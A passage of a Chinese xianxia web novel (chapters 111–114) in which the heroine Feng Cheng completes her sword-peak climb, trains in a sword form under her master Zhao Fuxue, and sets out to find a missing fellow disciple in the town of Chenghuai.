“大概会比我强一些。” 凛冽寒雪之中,封澄不知又向上爬了多久,忽闻耳中似乎有几声弦响,她停下手,看向寸金,露出了个有些疑惑的表情:“你有听到什么声音吗。” 并不是幻觉,寸金抬起头,心中仿佛被攥了一下。 “你离求剑台很近了……有人在问求剑台抚琴,”寸金道,“是赵先生。” 他说了什么,封澄并没有听见,她低下头,又困难地摇了摇头,将满口血腥味吞了回去,继续向上行去。 时日太久,又常常吊在山石之上,封澄早已没了气力,全凭一口气硬吊着,浑身的每一分体力都被调动去周身的肌肉上去,她甚至已经分不清日月更替,只觉得眼前一明一暗,不知是朝是夕。 “三日,”封澄想,“到了没有?” 这么想着,她扒住崖边,就地一滚,滚上了求剑台上。 刹那间,那股数不尽的威压便荡然无存,剑峰旁数不尽的威压与骇人之气荡然无存,连遮天敝地的雷鸣也随之消散,恍惚间,封澄甚至觉得经脉之中闯入一股凛冽剑意,激得她精神猛地一振。 她压下去的地方有着厚厚的落雪,如此重重地落下,不光一点儿不痛,甚至还有几分软绵绵的缓冲,她躺在冰凉的积雪里恢复片刻,随即深深地吐出了一口浊气,静静地品尝着体内渐渐奔涌而起的灵力与剑意。 那些阻挠的、攻击的、充满着杀意与敌意的剑气,此时全然倒戈,源源不断地冲刷着她的身体,封澄甚至有了经脉滚烫的知觉,寸金的目光有些复杂,更多的却是说不清的欣喜:“恭喜师妹。” 封澄仰面躺在雪地上。 “求剑台可真是个好东西,”她怔怔道,“怪不得这天下之人,皆要求道。” 如若说从前她行走长煌,初生牛犊,横冲直撞闯出片天地来,便觉天是老大她老二,只要她想做,全天底下便没有她封澄干不成的事。那时封澄十分看不上修士,只觉得这群人修得不问人间事——既然不问人间事了,那八成也不算人了。 直到赵负雪将她带回洛京,直到她也茫然无措地,被赵负雪拖着——亦或者是她追着赵负雪的背影,也走上了这条路。 行至此处,方觉从前一叶障目,坐于井底,却自觉无所不能。 寸金降落在她的身边,蹲下来,轻声道:“师妹,我给你擦擦脸吧。” 封澄仰头看了看他,寸金却从腰间取了一条洁白干净的帕子来,沾了一旁的雪,轻轻地覆上封澄的脸。 她感觉脸上一点一点的湿意。 这条帕子的质地十分柔软,还带着寸金身上干净的皂角香与些许温度,擦在脸上,有着轻微的摩擦声。 抬起帕子时,封澄瞥见雪白帕子上的暗红。 “哦,”她后知后觉地反应过来,“我现在应该是挺吓人的。” 他的目光小心又认真,封澄躺在雪地上恢复体力,便任由寸金动手了,片刻,寸金站起身来,示意封澄到他背上:“好了,你上来,我带你去见赵先生。” 背后却没动静,寸金一回头,只见封澄不知何时撑着长生,半坐在地上,随即,慢慢地站了起来。 “还没到要人背的程度,”封澄的眼睛在日暮下亮得像在燃烧,“不要让师尊等太久了。” 回头的刹那间,寸金屏住了呼吸。 寸金从前见她,只觉得她有一张稚气未脱的、柔软无害的脸。梳着软绵绵的双边发髻,两眼看人时,乖巧又狡黠,像天下最会讨人喜欢的小师妹。 一见,便心生柔软。 可方才日暮掩映,她半坐在快有她高的长剑旁,伤痕累累,披头散发时,隐在少女躯壳下、陌生的坚硬与厚重却如同潮水退去后的顽石一般,存在感强得令人几乎屏息。 寸金沉默半晌,才缓缓地错开了视线:“好。” 封澄呲牙咧嘴地从地上起来,悄咪咪地将身体的重量搭在长生上,自觉是一只体力耗尽的蚂蚱,别说蹦跶,就连挪一下脚尖都哆嗦。 走至半途,中有一古朴大阵,封澄看着新奇,寸金道:“求剑台之所以名为求剑,则是绝大多数剑修,在头一次登上此剑峰时,是可以取走剑峰上一柄本命之剑的。” 寸金慢慢地向封澄道来,封澄好奇地左右看着:“我已经有长生了,还要再进去求一柄本命剑吗?” 寸金微笑:“看你心意,求剑也是剑择人、人择剑的过程,你若不需要,直接走过便可。” 封澄点点头,随即毫不留恋地从阵旁走过。 剑峰中某处似乎传出了接二连三的不满叫啸。 “往前走,便是葬剑山,”寸金道,“古之得道大修,身死道消之时,携本命剑于此处葬身,因此得名。” 上有众多石碑刻着寥寥几句生平,封澄站在一碑的不远处,端详片刻,敏锐地捕捉到其中精髓:“什么叫绝情道?” 不知是不是封澄的错觉,寸金似乎尴尬地沉默了片刻。 “啊,”他微笑道,“是剑修的一条道,听说修之断情绝爱,从此所向披靡,天下无敌。” 封澄叹服:“不愧是剑修,我也能修吗!” 寸金默了默,终于,颇不自在地偏开了视线。 “劝你不要,剑修绝情道,是天机院之中唯一一个零结业率的修行方向。” 封澄:“……” 封澄艰涩道:“咱们剑修如此恨海情天 ,合理吗?” 寸金摇摇头:“非也非也,说来古怪,此道仿佛附了怪咒,从古至今,任凭多么六根断绝的清修之士,一旦择了此道,必将像连环撞了红鸾星一般,不光会突然深陷情债之中纠缠不休,或许还要伤心伤身,生生世世爱来恨去。” 封澄凭空蹿出了一层白毛汗,当即快走几步,避瘟神似的离这“绝情道”三个字远了些。 行了几步,封澄又后之后据地品出了此道的趣味,笑出了声,随口道:“若叫我来师尊修修这道,八成能行,他瞧着离成仙只差一口仙气了/。” 二人随着若有若无的琴声,穿过积雪的石阶,向更高的求剑台而去,闻言,寸金转过头笑了:“师妹误会了,赵先生虽瞧着冷淡,可却是修不成绝情道的,” “为何?” 寸金托着下巴想了想:“我听长辈们说,赵先生年少时也是性情中人,还是相当冲动的情种,同一女子相知相许,当时连亲眷都见过了,闹得满城风雨,可不知为何,最终没成。” 封澄脸上的笑意一僵。 寸金没有发觉,继续道:“兴许是那姑娘另嫁了他人,或者死了,也没人知道那是谁家的姑娘,总之赵先生离了洛京,头也不回地四处游历去了。现在想想,有情人分离,也颇令人唏嘘。” 封澄强笑着道:“原来如此。” 她似乎窥见了这陈年旧事的真相。 姜家与赵家皆为京城世家,两家人必将有所交流,幼时的两位少主或许还是青梅竹马的情意。 且姜允入主东宫,谁敢编排当今的娘娘,这也能解释无人知晓那家姑娘来路了。 寸金继续:“陈芝麻烂谷子的事情了,我们小辈的也只敢在私下说起,师妹,你脸色不好,要不要休息一下再上去?” 熟悉的嗡鸣在封澄脑中回响,封澄莫名心跳极快,仿佛是忽然回到了姜允的大殿之中。她莫名有些焦躁,面上却还是笑嘻嘻的模样。 “不用,”封澄抬眼道,“师尊在等,我们快上去吧。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 110-120 第111章 第111章不可彻夜不归 登上高台的瞬间,封澄便见一人坐于广阔台上,四周皆是落雪,唯他一人披着墨发,简直是比红梅更加灼目的颜色。 封澄上前一步,两手握长剑,单膝跪了下去,恭恭敬敬地行了个礼, “弟子封澄,前来拜见师尊。” 这是她少有的、对着赵负雪行弟子礼的时候。 赵负雪抬起眼睛,目光无波无澜。 “做的不错。” 封澄抬眼,冲他一笑。 琴声终于停了。 人已送到,寸金行了礼便告辞下去,不知为何,他有些魂不守舍。 此时的求剑台上只剩师徒二人,山上的雪愈发大了,赵负雪看向封澄的手,微微蹙了蹙眉,却并不说什么,只道: “认真看好,我不教第二遍。” “此剑没有剑谱,只有名字,为‘无咎’,总四式,此为第一式,起。” 封澄下意识地追随者赵负雪的目光,只见赵负雪立于大雪之中,抬手,腰间见素出鞘,封澄目不转睛地看着,只见一素白人影手持长剑,于漫天大雪之中,剑影纷飞,其势之威,竟将漫天的大雪生生劈成了数段。 她几乎无法呼吸了。 四式毕,赵负雪收剑,他立于封澄七步远之处,凛冽剑气却未伤到她分毫,他淡淡道:“看清了否?” 封澄抬头看着他,片刻,拇指压上了剑鞘。 赵负雪点头:“如此,便来。” 封澄闭了闭眼睛,略微将赵负雪所演示在脑海中过了一遍,随即抬起头来,长生刹那出鞘。 从剑峰之上汲取的灵力令她心无旁骛,此时封澄的脑中仅有赵负雪方才所行剑法,他的面目为飞雪所掩,唯有动作分外清晰,几乎在她脑中成了慢动作。 她翻身入了求剑台上,抬手持剑,目光一厉,雪影纷纷,照着她伤痕累累的身体。 封澄自小便比旁人多一分打架斗殴上的天赋,无论从何处见人使了什么剑,或是对招时对手的招数,大都能囫囵吞进肚子里,似懂非懂地作出几分“化用”来。当年的阿翁阿嬷没少为此事头痛——原因无他,封大姑娘常年斗殴的对象乃长煌大原上随处可见的天魔,招招都是要要人命的。 野路子,但野得太直白,太凶悍,碰上些稍微懂些的人,便如同铁锤入泥似的挣扎不动了,更遑论碰上赵负雪这等修士。 封澄甚至觉得自己像站在一座不可逾越的高山面前。 耳边忽然传来一道冷声:“回神,下盘。” 紧接着便是一道劲风挥来,封澄一式未完,便被这劲风狠狠地掀翻出去,随即重重地砸在了覆着积雪的求剑台上,溅起玉碎似的飞雪。 赵负雪道:“世上以凡途登剑峰者,千百年无一,登临者,为天下道,阿澄,此道难行,想好你胸中所求为何,再用剑。” 封澄仰面躺在雪上,片刻,单手撑剑,站了起来。 她重新摆好起式,抬起眼睛。 “再来。” “无咎”的深邃之处令封澄忍不住有些心惊肉跳,真正握着手中之剑时,仿佛从小打小闹之中骤然跳进了浩瀚无绝的道之中,封澄的手紧握着长生,不知为何,鼻上忽然一温。 一时闻道,兴奋之余,崩裂了鼻子上脆弱的血管。 她一概不管地擦了擦鼻子,抬手,继续一板一眼地拓印着赵负雪所传之剑。赵负雪立于一旁,皱眉道:“剑中不稳,再来!” 立于剑上,他是确凿无疑的严师,封澄大气不敢喘一口,手臂当即多了几分果决的稳与狠。 不知过了多久,赵负雪终于道:“以我琴声相合,琴一响,剑动。” 封澄浑身都是汗,从夕阳日暮练到月色皎洁,她却半点儿没察觉到多累,如若说三天两夜的登峰令她上山时有些昏昏欲睡,此时此刻,她却精神百倍,连肌肉的疲劳都顾不得了。 弦动,封澄长剑起。 “铮铮——” 铮铮而起的琴音中满是兵戈之气,封澄目光凝在长生雪亮的剑身上,剑穗一抖,长剑便如同玉白的游龙一般划破了大雪漫漫的夜空。赵负雪低头抚琴,忽然一挑,琴中灵力罡风向封澄扑去,封澄目光一厉,不躲不闪,长生稳稳地递去,四两拔千斤似的将这来势汹汹的罡风挑开。 纷纷扬扬的大雪在剑与琴相击的刹那如同乱花柳絮般炸开。 赵负雪手下不停,琴声无孔不入,而又去时不回,封澄反身回剑剑,长生在琴音之中越用越快,几乎到了眼花缭乱的地步。 剑鸣与琴声逐渐纠缠到一处,仿佛再也无法分离似的。 忽然间尖锐地铮然一响,长剑猝然停在赵负雪的三寸遥之处,他并没有抬头,手下一根琴弦已经断去。 封澄微微地喘息。 “回去休息。”赵负雪道,“今日且到此为止。” 封澄还没从极度的兴奋与专注之中抽离,闻言,才缓缓地收回了剑,她站在原地缓了缓神,才重新看向了赵负雪,眼中厉色一扫而空,取而代之的是渐渐升起的笑意。 “这么晚了,”封澄道,“师尊先回罢,我今夜去住弟子苑。” 用脚后跟想都知道封澄打算做什么,赵负雪抬眼,淡淡地看了看她,随即站起身来,不轻不重地拎了她的后颈,随后一抬手,把人拎了起来。 “回鸣霄室,”赵负雪平静地道,“即便是入了内院,也不可彻夜不归。” 封澄哎呦哎呦几声,终究胳膊没拧过大腿,老老实实地跟着赵负雪回鸣霄室了。 一进鸣霄室,三日之中被忽略的疲倦便如同潮水般的席卷了上来,封澄的脚刚刚触到鸣霄室的地砖,身子便不由自主地一软,险些直愣愣地趴倒在了地上,所幸一旁的赵负雪头也不回地接了她一把,才不至于让她一进家门便颜面扫地。 她半死不活地趴在赵负雪的手臂上:“师尊,我先回去睡觉了。” 赵负雪顿了顿,道:“去沐浴,然后再睡。” 长袖中有人轻轻地蹭了蹭 ,她模模糊糊道:“一日不洗,死不了人的,我明早起来洗,好师尊。” 这一下,哪里能见方才剑如游龙的凶狠?分明就是个耍赖的孩子,赵负雪不轻不重地弹了弹她的额头:“我命侍者来替你沐浴,只躺在浴桶中便是,你身上有伤,去泉中疗伤。” 赵负雪偶尔会琢磨些机关术,做些傀儡,贴着符便能运行自如,封澄也曾在赵负雪的书房中见过,既然是傀儡,封澄也没什么不好意思的,于是点了点头道;“既然这样,我先去为里面等着了。” 说着,她站了起来,打着哈欠,一步三摇地拐进了院中。 鸣霄室宽敞,最尽的走廊头还修了一处天生的滚热泉水,本意是压制赵负雪的寒气,现在却早成了封澄的沐浴之地。 换洗的衣物常年在温泉外备着,她拖着疲惫的身体,脱去衣物,踩着琉璃似的阶踏了进去。 此处轻纱笼络,泉水蒸腾,琉璃反射着温泉的雾白热气。 温热的泉水熏得人越发昏昏欲睡,封澄盘着头发,头一点一点,身后忽然有动静,她微微掀了掀眼皮,意识到是傀儡走了进来,于是重新低下了头,昏昏欲睡地闭上了眼睛。 傀儡的手十分轻柔,按的穴位却令人经脉如释重负,封澄被按得十分舒服,心中默默道:“这可真是个好东西,明日也要求求师尊教我这个。” 这般想着,她不知何时,在浴池中睡去了。 温热的池水中,傀儡不知何时,静悄悄地不动了。 片刻,它从水中爬出,轻车熟路地去一旁的玉台上取了干净柔软的新衣,小心翼翼地将人从水中捞了出来,替她穿上,再小心翼翼地抱了起来。 行动之轻柔,甚至未曾惊醒她。 相隔不远的书房中,赵负雪放下了手中的傀儡线,捏了捏眉心,轻轻地叹了口气。 *** 封澄这一觉睡得又黑又沉,连梦都没做一个,待日光透过窗纱照到她床上时,她才悠悠转醒。 身上已经被穿上了柔软又舒适的衣物,她揉了揉眼睛,有些意外,心中嘀咕:“这傀儡未免也太贴心了些,怎么还会挑寝衣给人换上的?” 这么晚,应当是错过了早膳的时候了,可午膳应该还是能赶上的,封澄从床上坐起来,抬脚要穿鞋时,忽然觉得小腹传来一阵陌生的坠痛。 封澄:“?” 她见了鬼似的摸了摸小腹。 “坏了,八成有内伤。”封澄想。 当机立断地,她选择向师尊求援——剑峰古怪凶险,保不齐是攀登之时碰到了哪里未曾发觉,封澄把衣服往身上一穿,随即一路小跑着,踢踢踏踏地跑到了廊上,随即一掌推开了赵负雪的书房门:“师尊,我昨日有内伤。” 赵负雪闻言,抬起了头,目光中有一瞬紧张,他从眼前书案的一堆零散部件中站起身来,随即快走两步,手指捏在了封澄手腕的脉门处:“你感觉如何?” 封澄指了指小腹。 “这里,”她道,“有些痛。” 在意识到封澄的身体发生了什么时,赵负雪猝然抬起头来,瞳孔剧烈一缩,脸上露出了几分堪称茫然的神色。 第112章 第112章回答她的是一室的死寂…… 小院中多了几分暖意,赵负雪久居的那几分寒气无影无踪,赵年在踏入鸣霄室之中时,险些以为走错了门。 一抬眼,赵年便见一人坐在院中花树下,她上去示意:“尊者。” 走进了才发觉,赵负雪清绝出尘的脸上多了几分几乎能称之为赧然的神色,定睛一看,甚至连耳朵都染上了几分飞红之色,他还礼道:“院长,阿澄不适。” 一听见这“阿澄”,赵年便忍不住想叹气。她没眼看似的摆摆手,径直向封澄的寝室去。 当年两人之事,闹得一个死,一个疯,几乎一夜之间搅白了周寻芳的头发。赵年说心中不伤不急是假的,可木已成舟,她即便心中戚戚然,也只能劝赵负雪趁早回头。 赵负雪出门游历这些年,渐渐地也磨砺去了少年时那副近疯的模样,近些年更是重新回到了洛京,她也渐渐放下些心来,可谁知他又从长煌大原捡回了个小号的封澄! 已死之人,如何复生? 显然是赵负雪这疯病没好全,还变本加厉了! 再说了,收了做徒弟做什么! 一想到此处,赵年便又忍不住摇头叹气了,说来也是,封澄在院中蹦跶了这些时日,她竟只在前几日的清晨遥遥地瞧见她一眼,连人都没怎么看全。 想来是和原本的“封澄”十分相像的,怀着这样的想法,赵年敲了敲封澄的门,随后轻轻地推开。 在看清坐在书案前的人时,赵年陡然僵在了原地。 她的太阳穴突突地疼,几乎整个脑子都霎时嗡成了一团稀稀拉拉的糨糊,无意识地,她“硌”地一声,掐断了掌心地指甲。 人不会相像到如此地步。赵年的心中只有这一句话。 小姑娘抽条了不少,不是留影石中模模糊糊的影子,不是初来乍到那日灰扑扑的炸毛模样,她单手托着腮,头发被绾成了双边的乖巧双环,发尾柔软地垂下来,桃眼虽还圆着,却依稀能见到日后那番含笑模样了。 她见了赵年,轻巧地从圈椅上跳了下来,礼数周全地行了个礼:“封澄见过年院长。” 封澄,封澄。 猝然地,赵年上前一步,双手攥着柔软的衣料,眼睛紧紧地盯着她,脸色苍白得不像话;“封澄?你一直都叫这个名字吗?” 封澄猝不及防地便被抓了个着,她有些茫然地看着女人,眨了眨眼睛。 “我一直叫这个名字,”封澄道,“从未变过。” 她颓然后退了两步。 “……” 封澄小心翼翼地探头:“是哪里不对吗,赵院长?” 不对,不对。 赵年一把抓起了封澄的手,不由分说地便要摸她的脉:“你是不是血修?是不是?” 血修? 封澄当即傻了,她把手往后一抽,皱了眉。 “年院长,”封澄道,“我怎么会是血修?我是天机院的学生啊。” 死者复生已经是诡异中的诡异之事,可复生之人若是硬生生变成了几乎另一个人,便更是诡异中的诡异了,赵年惊疑不定只见,身后忽然传来轮椅的声音。 “院长,”赵负雪冷冷道,“她身体不适。” 赵年猝然回了神,她擦了擦额上的冷汗,重新整理好了心绪,将心头的惊涛骇浪硬生生地压回了心口之中。 “……哪里不适。” 封澄想了想,还未比划出来,便听身后赵负雪冷冷道:“女孩儿家的不适。” 赵年懂了,封澄茫然:“啊?” 不知为何,她觉得赵年看向赵负雪的表情有一瞬间的怜悯。 在被细细科普了女孩儿家的月事后,封澄后知后觉地发觉了此时的诡异之处,登时,有些尴尬地站了起来。 赵年道:“与平素里的负伤没有什么区别,你只以灵力蕴于此处便可。” 向长辈女子习得了这般伤处要如何处理后,封澄发觉小腹的坠痛渐渐散去了,赵年看了看她,目光已经平静了下来,她组织了片刻语言,终于道:“你长大了。” 封澄道:“这伤我闻所 未闻,原来还会流血么。” 赵年点了点头,又道:“这些日子避一避你师尊。” “为何?” “虽伤口已经愈合,但还是少受些凉为好。” 确实,赵负雪四周冷得吓人,封澄点了点头,示意自己记下了。 在赵年口中又得了些似懂非懂的知识后,封澄总算明白了这伤究竟是怎么回事,她有些咂舌,抬头看向一旁的赵负雪;“意思是,只有女子会有这伤,而男子不会有了?” 赵负雪的脸似乎偏过去了些。 赵年哭笑不得:“男子如何能生?快莫要逗你师尊了。” 将赵年送走后,鸣霄室内又只有师徒二人,方才淡淡的尴尬已经并未随着赵年的离去而随之消弭,相反而之,赵负雪看着离他极远的封澄,轻轻地叹了口气。 “过来。”他道。 封澄不住地摇头;“不行,年院长说不能受凉。” 赵负雪似乎轻微地噎了一下。 片刻,他垂手,身上若有若无的寒气霎时被尽数收归体内。 “可以了,来。” 从前封澄不是赖在他眼前,就是突然滚到他的身后,如今仿佛避猫鼠儿似的,倒是令他极为不适。 他的灵力常常逸散出体外——鸣霄室地脉下的热源便是为了他四处逸散的灵气而设,像今日这般,小心而谨慎地将灵力尽数收归体内,还是头一遭。 封澄伸过手去小心试了试,确认果然不冷后,欢天喜地地滚了过去。 她迷上了赵负雪的傀儡之术,眼下翻着赵负雪的笔记,眯着眼睛分辨图谱上的小字,道:“师尊,你的字很难辨认。” 赵负雪的字不丑,相反而之,是极有风骨的大家模样,可若是写得急了,也是不好辨认的。 他垂眸,确认了封澄所指之后,道:“是有些难以辨认,待明日再给你一本,今日先看些旁的罢。” 封澄点了点头,继续看去,赵负雪抬手正欲饮茶,却听封澄那边冷不丁来了一句。 “话说师尊,”她道,“我忽然很好奇,如果我有孩子,会是什么样子。” 赵负雪的手猛地攥住了茶盏,玉白的手指贴在玉白的茶盏上,几乎能看见骨骼。 “为何会想到这个。”赵负雪面不改色道。 封澄头也不抬地翻笔记:“就是随意想到的,今日年院长不是说了么?女子有了此事,便是能够孕育了。我好奇很正常。” 赵负雪点了点头。 他很想说些什么,可凭着师尊这个身份,无论说什么,都是十分诡异的,于是他又抬起茶杯,喝了一口。 封澄又突然道:“想了想,还是觉得很难想象,好像太奇怪了,所以根本无从下手。” 赵负雪闭了闭眼睛,道:“既然如此,便不要乱想。” 封澄道:“可不能不想,不去想,怎么做出来?” 赵负雪又闭了闭眼睛,他生怕封澄追根问底,刨到什么令他落荒而逃的角度来。 仿佛是听到了他的心声似的,封澄道: “师尊,怎么做?” 刹那间,赵负雪猛然站了起来,连案上的古书也没顾得上,转身便向屋中去了。 片刻,传来一声门扉闭合的声音。 此事院中,唯有封澄茫然地从笔记中抬起了头。 “怎么走了?” 她把手里的笔记与图册翻来覆去地扣在了头上。 “这画的和写的都是什么?七十块木,三十一块灵石能拼出一条自行运作的傀儡手臂,到底是怎么做的?” 这人满口跑火车,随口捞到什么就说什么,眼下早把什么乱七八糟的孩子孙子抛到了脑后,正在苦恼的,竟是赵负雪过于深奥的笔记。 她不死心地站起来,抱着笔记去敲赵负雪的门:“师尊,师尊,这到底要怎么做?” 回答她的是一室的死寂。 第113章 第113章应声而碎 山中无岁月,寒尽不知年,这番话对于封澄来说,也是同样的。 看瞧着已经是腊月二十九,天机院早已热热闹闹起来,满是过年的氛围。离得近的学生离院回家,而绝大多数的学生,还是留在了天机院。 在封澄叼着草叶从无事院借走过年用的团桌火烛时,一样子年长的清秀学生忽然叫住了她。 “封师姐,”他小心翼翼开口,封澄搬着东西回过头来:“?” 他挠了挠头:“嗯……请问你知道内院姜师姐近来去了哪里吗?我……我……我是说我有个朋友,很久都没见到她了。” 封澄微微怔了怔,随即在心底哑然失笑,嚼了几下把草叶吞下去,开口道:“我也不知道,不然你再去问问她师尊?” “再去”二字一出,清秀学生登时红了脸,他本就脸皮极白,一红,更是仿佛被火烧了似的,他低下头道谢,随后风也似的蹿了回去,霎时身后起了一阵哄笑调侃之声——原来这小子还带了一帮打气的尾巴。 封澄笑着摇了摇头,继续搬着东西走了,走到一半,忽然想到:“原来我也是做师姐的人了。” 门扉一动,赵负雪抬头瞧见封澄心中重重地推开门,又若有所思地关上门,一时颇有些奇怪,于是垂眼看着她不语。封澄把东西归置好,又沉默着到花树下,拾起挂在树上的木剑,便一板一眼地操练了起来。 赵负雪的眼睛跟着她走了许久,终于道:“今日碰见什么事了。” 封澄猝然回神,茫然举剑:“啊?” 赵负雪道:“你今日心事重重。” 封澄挠了挠头,脸上有些不好意思:“啊,这么明显么。” 赵负雪未语,只是提笔落纸,写了几行,才道:“用剑者,忌杂心,若有难解之意,不妨说出口。” 说来也是,封澄本就觉得今日无心修剑,于是收剑,就地一坐,坐在了赵负雪的膝前,道:“只是想到了一些闲事。” “闲事?” “是啊,”封澄点点头,“师尊当年也是世家子,世家之子修成正果,有没有什么规矩?” “……” 赵负雪微微垂着目光。 “从一而终,生死不离。” 封澄有些哂笑,她摇了摇头,道:“我不是说这个,我是说,门第有没有规矩?权位有没有规矩?诸如此类。” “并无。” 封澄道:“师尊可真是……可若真是一无所有的无名小卒,又如何敢高攀赵家?” 赵负雪轻轻摇头,道:“真心最重。” 听闻此话,封澄似乎沉默了片刻,她仰头看着他,颇有些见了鬼的神色。 赵负雪低头看着她,睫毛将眼底深色尽数掩住:“怎么。” 封澄道:“眼下十八岁的姑娘都不会说真心最重了,师尊这般……这般纯澈,实在是叫人有些意外。” 今日那少年对姜徵芳心暗许的模样,令她一时有些心乱,不知为何,竟莫名地想了些有的没的东西。 如此高攀,那少年狼狈而归、无望苦恋可以说是必然,竟让她一时有了戚戚之意。 “……要想去赵氏提亲,怕不是比向姜氏提亲更苛刻些了,大概做到皇帝老儿的位置也只敢够一够。”封澄咂舌想。 反倒是赵负雪的一番言论令她有些哭笑不得——如若不是修行之人七情淡泊,他比较像是很容易被骗身骗心顺带着骗祖业的深闺公子,一番油嘴滑舌的花腔便能勾走的样子。 这么想着,头上忽然被不轻不重地拍了一下。 少年故作老成的模样令赵负雪微微勾了勾嘴角,他低下头,回过神时,掌心已经压上了封澄的发顶了。 不知为何,他很想敲敲她的脑袋,谁料手下温热柔软的触感令他一怔,这一敲竟然变成拍了。 赵负雪不用猜都知道这小兔崽子在想什么,面无表情说:“大逆不道。” 封澄心怀鬼胎地冲他呲牙一笑。 忽然间,门口却传来几声敲门,封澄的头登时挪开,拍拍屁。股便从地上爬起来开门,赵负雪的手停在半空,半晌,默默地收了回去。 “祝师叔?”封澄有些意外,紧接着便要回头去喊赵负雪,谁料祝京一把抓住她的袖子,眉宇间有几分焦急:“我不是来找尊者的,封姑娘,近来见过徵儿吗?” 封澄停住脚,有些讶异:“连做师尊的都不知晓她去了哪里,我怎么会知道呢?” 祝京嘴角冒着几个水泡,眼下也有几分青黑,瞧着是多日焦急,连个安生觉都没睡过的模样,封澄见状,想了想,道:“祝师叔最后一次见姜师姐是在哪里?她姨母知晓吗?” 祝京道:“近来年关,事多繁杂,徵儿便亲自领了洛京巡职,上次见她,还是在洛京街头。”顿了顿,他又道:“皇后娘娘即便前几日不知,最近也该知道了,若是她开口向我要人,我即便是有八百个头都不够交差。” 既然在天机所又有什么好发愁的?封澄宽慰道:“师叔别急,找几个腿脚快的弟子去四处寻寻便是了。” 祝京摇了摇头:“据城门消息,阿徵已经出京,我既便想寻,也顶着内院天机师非诏不得离京的铁令……” 话里话外的意思,竟然是求封澄去寻一寻姜徵,她登时有些哭笑不得:“我去啊?” 祝京也不是做了一天修士了,他不能出京,难道没有京城外的朋友?好,即便是他做人有问题,一个朋友都没有,那么内院还有多少师兄师姐,怎么偏偏来敲鸣霄室的门了?再说了,姜徵堂堂姜家少主,即便是在神水村那种地方都能挥挥手 叫出一群修士来,难道还怕她在外孤立无援,小命不保? 少女不闪不躲地迎视着他,大有说不出来便别想叫她帮忙的模样:“祝师叔,请人办事还说一半留一半的,不厚道啊。” 祝京咬牙,沉默半晌,终于道:“我要进去说。” 封澄回头看了看,花树下的人头也不抬,淡淡地翻阅着手中书卷。 她见状转过身来,让开一点:“我师尊不让,这样,你悄悄地进来,就当没看见他。” 祝京:“……” 这是怎么个就当没看见法。 话说回来,赵负雪威名在外,无人敢近,到头来竟是个如此好说话的师尊吗。 祝京沉默半晌,还是身子一侧,朝赵负雪拱手示意后,闪了进来。 “徵儿在……在外面有些朋友,”祝京沉默半晌,才缓缓开口:“听说是伙要饭的,满街卖脸,四处杂耍,还有几个疯疯癫癫,根本上不得台面。” 封澄微微讶异,随即眼中染上了些八卦。 “啊,我明白了,你是怕她姨母知晓?” 祝京一咬牙,一跺脚:“阿徵是要做姜氏家主的人,和一群乞丐混在一起像什么样子!且不说皇后娘娘,即便是这院里随处一个学生,知晓了可还了得?” “且……”祝京说不下去了,封澄笑眯眯地补充:“且姜姑娘与这群人扯上关系,大概是她离开姜家,到天机院读书这段时间,祝师叔,皇后娘娘雷霆之怒,大概能治你个看护不利的罪啊。” 祝京一张娃娃脸气得又红又青,终于没忍住,狠狠地把头扭了过去。 “你就说帮不帮这个忙吧!” 祝京也是无奈,从前姜徵乖觉,自知不合规矩,悄悄出了城,不过一日半日便悄悄回来,他惹不起大的,也惹不起小的,只好睁一只眼闭一只眼地放任她过去,谁知临到年底了,宫中要一堆事了,她倒扬长而去头也不回了,这叫他如何是好! 封澄在心底偷偷大笑不止:“帮帮帮,师叔开口,哪有个不帮的份儿?想来方才说什么贸然失踪也是师叔演出来的了,不如直接给个痛快话,她人在哪里?” 赵负雪坐在一旁,看似对这边漠不关心,可面前的书已经许久未翻过一页去了。 “不远,大抵就在成槐,你去城门寻个乞丐,交出这个,便有人引你去徵儿那里。” 成槐离洛京不远,快去快回的话,也就些微半个时辰的功夫,封澄略一思索,便接过了祝京手中的玉簪,点点头道:“行啊,我一定快去快回,争取保住祝师叔的头。” 说罢,她又要笑,祝京再三再四谢过后,总算离开了。 院中静下来时,赵负雪将书合在了案上。 “……” 封澄去取了剑,笑眯眯地凑到赵负雪面前,道:“我去去就回,还要和师尊一起吃年夜饭呢。” 赵负雪不语,他坐在轮椅上,静静地抬起了双目。 “三十年夜,城门设卡,不得入内。”赵负雪道。“在此之前回来。” “知道了,”封澄道,“只是半个时辰的功夫嘛,都不用等明日,我今晚就回来吃饭。” 封澄起身,随即一跃而起,御剑扶摇——自打攀过了剑峰,她的剑术虽未曾一日千里地疯涨,可御剑术倒是修得飞快,这短短不到一个月的功夫,竟硬养出了一把脚底抹油的好功夫! 一声呼啸,嚓地一响,玉白长剑从剑鞘中飞驰而出,紧接着少女一脚踩上长剑,只一瞬息,便不见了。 赵负雪看着她的背影,沉默许久。 远处似乎有寒鸦嘎啊一响。 他手中玉白的茶盏忽然应声而碎,在他手上留下一团惨白的齑粉。 第114章 第114章姜徵拦住他:“话忒多…… g 成槐之城,乃是皇城根下一大重商之城,此城当年曾有几口珍奇的矿井可供采用,如今矿脉枯竭,留在城中的徒有不愿背井离乡的人口。 而这城也饱饮了天赐的福祉与苦楚,虽矿脉渐渐枯竭了,可凭着皇城脚下的地带,三教九流的商行倒也四通八达起来,只入城这一会儿,封澄便眼花缭乱起来。 “在成槐倒是不怕没有花钱的地方了,”封澄一边啧啧惊叹,一边险之又险地闪过一行吹火球的杂耍艺人,“可行首丘到底是什么地方?” 城门口的乞丐见了她手中姜徵信物,只把她往北边一指,连说带比划地指了个了个“行首丘”便无声无息地隐入了人堆,封澄被这乞丐扔在半路,手中愣愣地拿着信物,只觉哭笑不得。 “见鬼了,”她心道,“原本答应半个时辰就回去的,这下可好,搞不好连晚膳都赶不上了。” 也不知回去是不是要吃一番闭门羹了,封澄叹了口气,重新拉了个乞丐问:“劳驾,行首丘在什么位置?” 几番折腾,封澄总算在日落之前来到了传说中的“行首丘”,封澄仰头打量着这座古旧的木塔,那引路来的乞丐滔滔不绝:“这地方可是本地的一大名胜,姑娘是外来人吧?从来没来过成槐吧?” 不待封澄回答,乞丐便自顾自道:“想当年,前程皇帝荒淫无道,自洛京到长煌,千里饿殍,民不聊生,人人生死存亡之际,一仙人站了出来,与此塔上割肉施于众民,一血一肉,一气一息,皆施于饥民。到最后,骨骼无存,徒留一颗心脏砰砰说话,一人不忍,开口向仙人:‘仙人取肉救民,大义撼天下,我等欲为仙人立碑葬身,以供万世流传’,那仙人的心脏道:‘人生一须臾,血肉一抔土,只是狐死尚首丘,鸟飞返故乡,此身无拘,此心却羁留故土,恳请有缘者送这颗心回乡。’” 